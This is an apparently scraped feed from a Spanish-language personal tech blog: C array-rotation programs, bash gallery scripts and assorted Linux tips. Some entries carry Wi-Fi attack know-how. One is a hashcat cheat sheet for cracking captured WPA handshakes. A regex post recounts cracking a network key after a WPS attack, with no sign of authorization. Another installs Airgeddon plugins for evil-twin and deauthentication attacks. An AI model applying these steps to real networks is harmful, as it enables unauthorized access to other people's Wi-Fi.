</span></span></span><span style="display:flex;"><span> arr2.array <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>) <span style="color:#a6e22e">malloc</span>(arr.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; i <span style="color:#f92672"><</span> arr.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> arr2.array[i] <span style="color:#f92672">=</span> arr.array[i<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> arr2.array[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> arr.array[arr.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(arr.array);
</span></span><span style="display:flex;"><span> arr.array <span style="color:#f92672">=</span> arr2.array;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672">==</span> arr.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d"</span>,arr.array[i]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d,"</span>,arr.array[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Como crear Índice de Imágenes e Index of / sin python sin HUGO solo con bash
https://imlauera.github.io/como_crear_index_imagenes_index_of/
Sun, 02 Feb 2025 14:20:16 -0300
https://imlauera.github.io/como_crear_index_imagenes_index_of/
<p>Crear un Index Of para publicarlo en GitHub Pages:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir mi_pagina
</span></span><span style="display:flex;"><span>cd mi_pagina
</span></span><span style="display:flex;"><span>tree -H <span style="color:#e6db74">''</span> -o index.html
</span></span></code></pre></div><p>Crear gallery index con este script bash, aunque no recomiendo <strong>subir imágenes a github</strong>:</p>
<p>Guardás esto en <code>gallery-index.sh</code> y lo ejecutás sobre un directorio te generará un <code>index.html</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#! /bin/sh
</span></span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<!DOCTYPE html>"</span> > index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<html>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<head>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<title>My file gallery</title>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<meta charset=\"utf-8\">"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</head>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<body>"</span> >> index.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<h1>Subdirs</h1>"</span> >> index.html
</span></span><span style="display:flex;"><span><span style="color:#75715e">#link to subdirs</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> D in *; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -d <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>D<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<h3><a href=\"</span>$D<span style="color:#e6db74">\"></span>$D<span style="color:#e6db74"></a></h3>"</span> >> index.html
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<h1>Images</h1>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<div style=\"width: 100vw; display: flex; flex-direction: row; flex-wrap: wrap; \">"</span> >> index.html
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> img in *.jpg *.JPG *.png *.PNG *.bmp *.BMP *.jpeg *.JPEG *.gif *.GIF; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>img<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> convert -auto-orient -scale <span style="color:#ae81ff">640</span> $img thumb-$img
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 33vw; height: 33vh; \">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 100%; height: 90%;\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<img style=\"height: 100%;\" src=\"thumb-</span>$img<span style="color:#e6db74">\"></a>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 100%; height: 10%;\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<a href=\"</span>$img<span style="color:#e6db74">\"></span>$img<span style="color:#e6db74"></a>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<h1>Videos</h1>"</span> >> index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"<div style=\"width: 100vw; display: flex; flex-direction: row; flex-wrap: wrap; \">"</span> >> index.html
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> video in *.mp4 *.MP4 *.ogg *.OGG *.avi *.AVI *.mkv *.MKV *.mpeg *.MPEG; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>video<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 33vw; height: 33vh;\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 100%; height: 90%;\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<video style=\"height:100%;\" controls>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<source src=\"</span>$video<span style="color:#e6db74">\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</video>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<div style=\"width: 100%; height: 10%;\">"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"<a href=\"</span>$video<span style="color:#e6db74">\"></span>$video<span style="color:#e6db74"></a>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</div>"</span> >> index.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</body>"</span> >>index.html
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</html>"</span> >>index.html
</span></span></code></pre></div>
-
Regex ejemplos
https://imlauera.github.io/regex_ejemplos/
Sun, 02 Feb 2025 08:15:27 -0300
https://imlauera.github.io/regex_ejemplos/
<p>Obtener todas las palabras que contengan una palabra y EXACTAMENTE 4 dígitos al final.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep -E <span style="color:#e6db74">'\b([^0-9]*[0-9]){4}$[^0-9]*\b'</span> rockyou.txt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep -E <span style="color:#e6db74">'^[^0-9]*([0-9]){4}$'</span> dic.txt > filtrado
</span></span></code></pre></div><h4 id="otros-ejemplos">Otros ejemplos:</h4>
<p><a href="https://www.baeldung.com/linux/match-lines-n-digits-numbers">https://www.baeldung.com/linux/match-lines-n-digits-numbers</a></p>
<p>Salio la clave. Antes por ataque de WPS pude descubrir que uso una palabra y 4 numeros. Entonces baje el diccionario de latin en weakpass y filtre las palabras que
contengan EXACTAMENTE 4 numeros al final con grep, si alguno sabe una mejor forma de hacer esto diganme. De un diccionario de 11 gigas pase a uno de 1,7 gigas. En 3 dias
salio clave solo con CPU (Intel Celeron 2.0GHz)</p>
-
Hashcat cracking handshakes
https://imlauera.github.io/hashcat/
Sat, 01 Feb 2025 23:56:46 -0300
https://imlauera.github.io/hashcat/
<p><code>hashcat64 --help</code></p>
<p>Seria basicamente ver la ayuda.</p>
<p>Para iniciar un proceso cualquiera lo podemos hacer con la siguiente linea de
comando (modo mascaras -a3)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat64 -m2500 -a3 captura.hccapx ?d?d?d?d?d?d?d?d -w4
</span></span></code></pre></div><p><code>-m2500</code> = es el modo de WPA, este numero puede cambiar segun el tipo de hash que
usemos, dejo algunos a modo de ejemplo.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-m0 <span style="color:#f92672">=</span> MD5
</span></span><span style="display:flex;"><span>-m1000 <span style="color:#f92672">=</span> NTLM
</span></span><span style="display:flex;"><span>-m2500 <span style="color:#f92672">=</span> WPA/WPA2 EAPOL
</span></span><span style="display:flex;"><span>-m16800 <span style="color:#f92672">=</span> WPA/WPA2 PMKID
</span></span></code></pre></div><h4 id="modos-de-ataque">Modos de ataque:</h4>
<p>-a3 = modo para ataque usando mascaras
-a0 = modo de ataque con diccionarios</p>
-
Rotar array a la izquierda
https://imlauera.github.io/rotar_array_izquierda/
Sat, 01 Feb 2025 22:11:37 -0300
https://imlauera.github.io/rotar_array_izquierda/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> array_len {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> len;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> array_len arr <span style="color:#f92672">=</span> { <span style="color:#ae81ff">4</span>, NULL };
</span></span><span style="display:flex;"><span> arr.array <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span><span style="color:#f92672">*</span>)<span style="color:#a6e22e">malloc</span>(arr.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Longitud del array: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,arr.len);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> arr.array[i] <span style="color:#f92672">=</span> i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Rotar a la izquierda</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Cuantos movimientos hacia la izquierda desea rotar:"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> movimientos;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>,<span style="color:#f92672">&</span>movimientos);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> movimientos; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(arr.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> j <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; j <span style="color:#f92672"><</span> arr.len; j<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> array2[j<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> arr.array[j];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> array2[arr.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> arr.array[<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(arr.array);
</span></span><span style="display:flex;"><span> arr.array <span style="color:#f92672">=</span> array2;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Array rotado a la izquierda: {"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672">==</span> arr.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d"</span>, arr.array[i]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d,"</span>, arr.array[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"}</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Sizeof: no puede usarse para determinar longitud de un arreglo declarado con malloc
https://imlauera.github.io/sizeof_memoria_dinamica/
Sat, 01 Feb 2025 20:32:49 -0300
https://imlauera.github.io/sizeof_memoria_dinamica/
<p>Sizeof cannot be used on dynamically allocated memory.</p>
<p>You cannot use <code>SIZEOF_ARRAY</code> to tell you the size of an array you created using <code>malloc</code>. You’re getting a size of one because your macro is using the size of the pointer to the “mallocated” memory to calculate its result. The pointer is two bytes, as is sizeof int, so 2/2 gives one.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> remember_the_size
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> len;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span> arr;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> remember_the_size a <span style="color:#f92672">=</span> { <span style="color:#ae81ff">10</span>, NULL };
</span></span><span style="display:flex;"><span> a.arr <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span><span style="color:#f92672">*</span>) <span style="color:#a6e22e">malloc</span>(a.len <span style="color:#f92672">*</span> <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672"><</span>a.len;i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> Serial.<span style="color:#a6e22e">println</span>(a.arr[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> Serial.<span style="color:#a6e22e">print</span>(<span style="color:#e6db74">"Size :"</span>);
</span></span><span style="display:flex;"><span> Serial.<span style="color:#a6e22e">println</span>(a.len);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(a.arr);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><a href="https://stackoverflow.com/questions/71503505/do-i-need-to-put-sizeof-after-array-length-in-malloc">https://stackoverflow.com/questions/71503505/do-i-need-to-put-sizeof-after-array-length-in-malloc</a></p>
-
Como deshabilitar el modo monitor
https://imlauera.github.io/disable_monitor_mode/
Fri, 31 Jan 2025 21:47:05 -0300
https://imlauera.github.io/disable_monitor_mode/
<p>Luego de hacer una prueba de auditoría necesitamos deshabilitar el modo monitor para lograr conectarse a las redes otra vez.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ifconfig wlp1s0 down
</span></span><span style="display:flex;"><span>iwconfig wlp1s0 mode managed
</span></span><span style="display:flex;"><span>ifconfig wlp1s0 up
</span></span></code></pre></div>
-
Buscar archivos rapidamente en GNU/Linux: comando locate
https://imlauera.github.io/locate_find/
Fri, 31 Jan 2025 05:55:16 -0300
https://imlauera.github.io/locate_find/
<p>El comando <code>find</code> tomará mucho tiempo, la forma más rápida de buscar archivo es usar el comando <code>locate</code>, que busca los nombres de archivos (y la ruta) en una base de datos indexada (actualizado por el comando <code>updatedb</code>).</p>
<p>El resultado aparecerá inmediatamente con un comando simple:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>locate <span style="color:#f92672">{</span>file-name-or-path<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Si no se encuentra el comando, debe instalar el paquete <code>mlocate</code> y ejecutar <code>sudo updatedb</code> para preparar la base de datos por primera vez.</p>
-
Agregando funcionalidades a Airgeddon: Airgeddon Plugins
https://imlauera.github.io/airgeddon_plugins/
Thu, 30 Jan 2025 16:16:08 -0300
https://imlauera.github.io/airgeddon_plugins/
<p>Para realizar el ataque de evil twin (gemelo malvado) se necesita una tarjeta de red que acepte dividirse en dos tarjetas lógicas: una para levantar el punto de acceso otra para hacer un ataque de denegación de servicio. En caso de no tenerla, tenemos que usar dos tarjetas de red e instalar el plugin <code>multint.sh</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/xpz3/airgeddonplugins/
</span></span><span style="display:flex;"><span>sudo cp multint.sh /usr/share/airgeddon/plugins
</span></span><span style="display:flex;"><span>sudo cp mass_handshake_capture.sh /usr/share/airgeddon/plugins
</span></span><span style="display:flex;"><span>sudo cp autoload_handshake.sh /usr/share/airgeddon/plugins
</span></span></code></pre></div><h4 id="descripción-de-cada-plugin">Descripción de cada plugin</h4>
<p><strong>avoid_airmon.sh</strong>: This plugin disables airmon-ng to be used to start and stop monitor mode on an interface. <code>iw</code> will be used instead.</p>
-
Construir archivo HTML Index Of / para GitHub Pages
https://imlauera.github.io/construir_index_of_github/
Thu, 30 Jan 2025 15:52:09 -0300
https://imlauera.github.io/construir_index_of_github/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/libthinkpad/apindex/
</span></span><span style="display:flex;"><span>cd apindex
</span></span><span style="display:flex;"><span>cmake . -DCMAKE_INSTALL_PREFIX<span style="color:#f92672">=</span>/usr
</span></span><span style="display:flex;"><span>sudo make install
</span></span></code></pre></div><p>Luego ubicate en algún directorio y ejecutá:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cmake . -DCMAKE_INSTALL_PREFIX<span style="color:#f92672">=</span>/usr
</span></span><span style="display:flex;"><span>sudo make install
</span></span></code></pre></div>
-
Arbolito de estrellas en C
https://imlauera.github.io/arbolito_de_estrellas_en_c/
Thu, 30 Jan 2025 15:48:50 -0300
https://imlauera.github.io/arbolito_de_estrellas_en_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> filas;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Ingrese número de filas (mínimo 3): "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>,<span style="color:#f92672">&</span>filas);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (filas <span style="color:#f92672"><</span> <span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">"Te dije que el número de filas no puede ser menor que 3</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> espacios <span style="color:#f92672">=</span> filas;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> filas; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> espacios <span style="color:#f92672">=</span> filas<span style="color:#f92672">-</span>i<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; espacios <span style="color:#f92672">></span> <span style="color:#ae81ff">0</span>; espacios<span style="color:#f92672">--</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">" "</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> z <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; z <span style="color:#f92672"><=</span> i<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>; z<span style="color:#f92672">++</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"*"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Páginas bloqueadas por personal, claro, movistar
https://imlauera.github.io/paginas_bloqueadas_personal/
Thu, 30 Jan 2025 15:36:13 -0300
https://imlauera.github.io/paginas_bloqueadas_personal/
<p>Bloquean sitios por DNS, solución: <a href="https://imlauera.github.io/personal_bloquea_sitios">cambiar las DNS</a> o otra solución es navegar directamente usando Tor o el navegador Tor si usas el navegador Tor vas a tener que habilitar, sino podes usar Firefox pero usa a tor: <code>localhost:9050</code> como proxy.</p>
<p>La gente dejó de pagar los paquetes de canales “plus”, así que se pusieron a censurar todo.</p>
<p>Lista de sitios bloqueados:</p>
<ul>
<li><a href="https://thepiratebay.org">https://thepiratebay.org</a></li>
<li><a href="https://example.com">https://example.com</a></li>
<li><a href="https://librefutbol.su">https://librefutbol.su</a></li>
</ul>
<p>Muchos más.</p>
<p>Y google censura toda la piratería, lo mejor es usar Yandex o buscar por Torrent con jackett y qbittorrent.</p>
-
Bash: Cómo chequear multiples condiciones en un IF
https://imlauera.github.io/if_bash/
Thu, 30 Jan 2025 11:25:06 -0300
https://imlauera.github.io/if_bash/
<pre tabindex="0"><code>#!/bin/bash
if [[ -z $1 || -z $2 || -z $3 ]]; then
echo "Uso: youtube_upload_hide titulo descripcion archivo"
exit;
fi
youtube-upload --title=$1 --description=$2 --category="Science" --privacy unlisted --recording-date="2011-03-10T15:32:17.0Z" --default-language="es" --default-audio-language="es" --embeddable=True --client-secrets="my_client_secrets.json" "$3"
</code></pre>
-
Como copiar y pegar usando Screen a vim desde la TTY
https://imlauera.github.io/screen_vim/
Tue, 28 Jan 2025 04:18:08 -0300
https://imlauera.github.io/screen_vim/
<p><code>screen</code>
<code>Ctrl + a + [</code></p>
<p>Seleccionás el texto con las flechas y dale a enter o a space<br>
Ahora abrí vim escribí <code>:set paste</code><br>
Entra en insert mode<br>
